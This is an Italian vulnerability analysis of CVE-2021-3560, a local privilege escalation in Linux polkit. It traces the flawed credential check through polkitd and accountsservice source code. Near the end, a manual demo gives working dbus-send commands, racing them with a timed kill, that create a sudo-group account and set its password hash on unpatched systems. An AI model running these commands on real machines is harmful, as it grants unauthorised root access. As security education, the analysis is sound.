
Analisi di CVE-2021-3560
[toc]
ID vulnerabilità: CVE-2021-3560
Punteggio vulnerabilità:
Prodotto vulnerabile: linux PolKit (polkitd)
Versione interessata: introdotta nel codice sorgente 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
Condizioni di sfruttamento: linux locale; dbus + polkitd presenti
Effetto dello sfruttamento: elevazione dei privilegi locali
Ottenere il codice sorgente:
apt source accountsserviceapt source dbusL'immagine predefinita di ubuntu-20.04.2 può essere riprodotta: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
Prima esaminiamo il codice problematico
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; // imposta il flag di errore dopo un fallimento per qualche motivo
}
else
{
··· ···// elaborazione dei dati in caso di successo
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // data viene inizializzato a 0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); // aspetta che il bus termini l'esecuzione, uid e pid siano stati elaborati o che si sia verificato un errore
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; // indipendentemente da tutto, TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
Nella funzione polkit_system_bus_name_get_creds_sync, essa autentica l'identità per certe richieste (la logica specifica verrà dettagliata in seguito). Chiama prima GetConnectionUnixUser e poi GetConnectionUnixProcessID tramite il bus org.freedesktop.DBus. Questi due metodi sono forniti dal bus org.freedesktop.DBus e servono per ottenere il PID e l'UID del processo richiedente. I risultati vengono passati alla funzione callback on_retrieved_unix_uid_pid per l'elaborazione. Quindi la funzione si blocca in attesa che il bus termini l'esecuzione.
Nella funzione on_retrieved_unix_uid_pid si può vedere che, in base al risultato restituito dal bus, imposta se si è verificato un errore (error?) e imposta il flag di errore; se l'esecuzione ha successo, restituisce correttamente l'UID utente o il PID del processo. Ma nella funzione polkit_system_bus_name_get_creds_sync, dopo aver atteso il risultato dal bus (il criterio per considerare completata l'elaborazione è che sia UID che PID siano stati elaborati o che si sia verificato un errore). In altre parole, logicamente ci sono tre possibili risultati dal bus: ottenere UID utente 0 (utente privilegiato); ottenere UID utente diverso da 0 (utente normale); errore. Tuttavia, nell'elaborazione successiva, non viene gestito l'errore: il out_uid da restituire al livello superiore viene impostato direttamente al data.uid restituito dal bus, e ret viene impostato a TRUE:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); // aspetta che il bus termini l'esecuzione, uid e pid siano stati elaborati o che si sia verificato un errore
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; // indipendentemente da tutto, TRUE?
Ma viene trascurato un caso: se il bus DBUS restituisce un errore, la callback imposta il flag di errore e ritorna senza elaborare i dati data, che però sono inizializzati a 0. Ciò fa sì che successivamente out_uid venga impostato a 0, cioè utente privilegiato.
Allora, dove viene utilizzata la funzione difettosa polkit_system_bus_name_get_creds_sync?
Il processo in cui si trova il punto di vulnerabilità è il processo polkitd:
polkit è un set di strumenti a livello applicativo che, mediante la definizione e la verifica di regole di autorizzazione, realizza la comunicazione tra processi con priorità diverse: le decisioni di controllo sono concentrate in un quadro unificato, determinando se un processo a bassa priorità ha diritto di accesso a un processo ad alta priorità.
In breve, è un processo root in esecuzione in background che, tramite comunicazione interprocesso, decide l'autorizzazione quando un processo a bassi privilegi tenta di accedere alle funzionalità fornite da un processo ad alti privilegi. Poiché questo processo si riavvia se si tenta di collegarlo con gdb, possiamo analizzarlo solo a livello di codice sorgente per trovare il percorso di innesco della funzione vulnerabile:
polkitd utilizza ampiamente il framework di comunicazione interprocesso gio DBUS. È possibile consultare il manuale per conoscere in anticipo alcune funzioni importanti.
Ora analizziamo il percorso di innesco della vulnerabilità in polkitd:
Prima di tutto, il main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", // registra un nome di bus
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, // callback quando si accede al bus
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Inserimento nel loop principale degli eventi\n");
g_main_loop_run (loop); // avvia il loop
··· ···
··· ···
}
Prima viene registrato un bus chiamato org.freedesktop.PolicyKit1, con tre callback. Ci concentriamo su on_bus_acquired, che viene invocato quando si accede al bus.
Nella funzione on_bus_acquired, viene chiamata direttamente una funzione di registrazione del tipo: .
Cioè, quando un'altra funzione invoca il metodo CheckAuthorization sul bus org.freedesktop.PolicyKit1.Authority, in determinate condizioni (controllare che il DBUS restituisca un errore durante l'ottenimento dell'UID richiedente) influenzerà la correttezza dell'autenticazione di questo metodo. Poiché possiamo direttamente guardare la risposta, il metodo di sfruttamento della vulnerabilità consiste nell'usare account-daemon.
Prima di tutto, citiamo questa immagine dell'autore dell'exploit:
Spieghiamo gli elementi nell'immagine:
polkitd, dbus-daemon e account-daemon sono tutti processi di servizio in background eseguiti con privilegi di root.dbus-daemon è un "router" per la comunicazione tra processi, il nucleo del framework GIO DBUS menzionato sopra. Nella mia comprensione, diversi processi possono registrare nomi di bus qui, e altri processi che vogliono comunicare con te accedono al nome del bus, all'interfaccia e al nome del metodo per chiamare le funzioni del tuo processo. Le funzioni del processo polkitd descritte sopra registrano un bus in dbus in attesa che altri processi lo chiamino.account-daemon è simile a polkitd, registra il bus org.freedesktop.Accounts in dbus e fornisce una serie di metodi relativi agli account, come l'aggiunta di utenti, l'impostazione delle password, ecc. Inoltre, prima di operazioni come l'aggiunta di un utente, questo processo effettua un'autenticazione dell'utente, utilizzando proprio il metodo vulnerabile CheckAuthorization fornito dal processo polkitd menzionato sopra.dbus-send è un comando; il bus dbus fornisce interfacce di programmazione per le chiamate di comunicazione interprocesso, ma fornisce anche comandi da riga di comando per inviare messaggi direttamente a processi specifici e chiamare i loro metodi.Quindi l'intero flusso degli eventi dello sfruttamento della vulnerabilità è:
dbus-send per inviare un messaggio al processo account-daemon, chiedendogli di creare un utente amministratore (il metodo CreateUser fornito da questo processo aggiunge per impostazione predefinita un utente amministratore), ma con la nostra identità non possiamo completare questa operazione.account-daemon, account-daemon richiederà a polkitd la verifica dei permessi, per approvare l'operazione di aggiunta utente.polkitd chiederà al bus i permessi dell'utente e il PID del processo che ha originato la richiesta di creazione.
polkitd al bus dei permessi del processo richiedente, killare il processo richiedente (cioè il processo dbus-send).polkitd considera l'errore come successo di default, e imposta l'UID dell'utente a 0, che è l'utente privilegiato. Innesca la vulnerabilità e permette l'operazione.Poiché dbus-daemon è solo un processo intermediario, non lo analizzeremo in dettaglio. Ma analizziamo account-daemon, che è un processo chiave nello sfruttamento. Anche questo processo utilizza il framework GIO DBUS. Analizziamo brevemente alcuni punti importanti. Per prima cosa, esaminiamo:
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
Qui vengono usate le macro G_DEFINE_TYPE_WITH_CODE e G_IMPLEMENT_INTERFACE per eseguire la funzione daemon_accounts_accounts_iface_init. Il significato di queste due macro è che troveranno l'occasione per eseguire daemon_accounts_accounts_iface_init. In quest'ultima viene registrato il metodo create_user. Esaminiamo direttamente l'implementazione della funzione daemon_create_user:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, // callback
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
In daemon_create_user, viene chiamata daemon_local_check_auth per verificare se l'utente richiedente ha i permessi. Se la chiamata ha successo, viene invocata la callback daemon_create_user_authorized_cb. Qui esaminiamo prima la funzione di autenticazione daemon_local_check_auth:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
Qui viene chiamata la funzione polkit_authority_check_authorization per autenticare. polkit_authority_check_authorization è una funzione di libreria fornita da libpolkit-gobject-1.so.0, che chiama direttamente il metodo CheckAuthorization sul bus org.freedesktop.PolicyKit1.Authority nel processo polkitd analizzato sopra. Se l'autenticazione ha successo, viene chiamata la callback daemon_create_user_authorized_cb:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { // aggiunge l'utente
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); // aggiunge l'utente al gruppo sudo
}
··· ···
}
Qui è molto chiaro: dopo aver aggiunto correttamente l'utente, lo aggiunge direttamente al gruppo sudo. Quindi alla fine dell'exploit, dopo aver aggiunto l'utente, possiamo usare sudo su root per passare a root.
Ora vediamo una demo di sfruttamento manuale.
Come utente normale, inviamo direttamente una richiesta di creazione utente a account-daemon usando il comando dbus-send:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
Questa richiesta, in un sistema operativo con interfaccia grafica, farà apparire una finestra per inserire la password:
In un terminale a riga di comando come SSH, fallisce direttamente:

Secondo l'idea di sfruttamento sopra, vediamo prima il tempo di esecuzione del comando:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Poi scegliamo di killare il processo circa a metà del tempo di esecuzione, con una probabilità di innescare la vulnerabilità e creare l'utente con successo:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
Eseguendo più volte si può avere successo:

E l'utente è anche nel gruppo sudo:

Poi con lo stesso metodo possiamo aggiungere una password:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 va modificato in base all'UID dell'utente appena creato. La password viene inserita come hash. Quindi si passa all'utente.
Qui non abbiamo scritto l'exploit in dettaglio; in pratica basta automatizzare il comando sopra. L'exploit in C su github funziona anche.
Aggiornare all'ultima versione.
Divulgazione della vulnerabilità (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
polkit_backend_authority_registerNella funzione polkit_backend_authority_register, viene registrato un oggetto interfaccia org.freedesktop.PolicyKit1.Authority, e viene fornita una tabella di callback server_vtable. Il punto di innesco della vulnerabilità si trova in una di queste callback:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, // callback
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); // qui si trova il percorso della funzione vulnerabile
··· ···
··· ···
}
Quando un altro processo invoca il metodo CheckAuthorization tramite il bus, viene chiamata la funzione server_handle_check_authorization.
Nella funzione server_handle_check_authorization, viene chiamata polkit_backend_authority_check_authorization.
Nella funzione polkit_backend_authority_check_authorization, tramite callback viene chiamato klass->check_authorization; quest'ultimo è registrato come polkit_backend_interactive_authority_check_authorization:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // registrato come polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; // inizializzato altrove
Successivamente è sufficiente seguire l'ordine: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
Funzione vulnerabile: polkit_system_bus_name_get_user_sync
dbus-send è stato killato, causando un errore nel rilevamento del bus, account-daemon non ne viene influenzato: dopo che account-daemon ha ricevuto il messaggio, non si preoccupa più se il processo richiedente esiste ancora.polkitd la risposta che autorizza l'aggiunta, account-daemon crea l'utente, completando lo sfruttamento.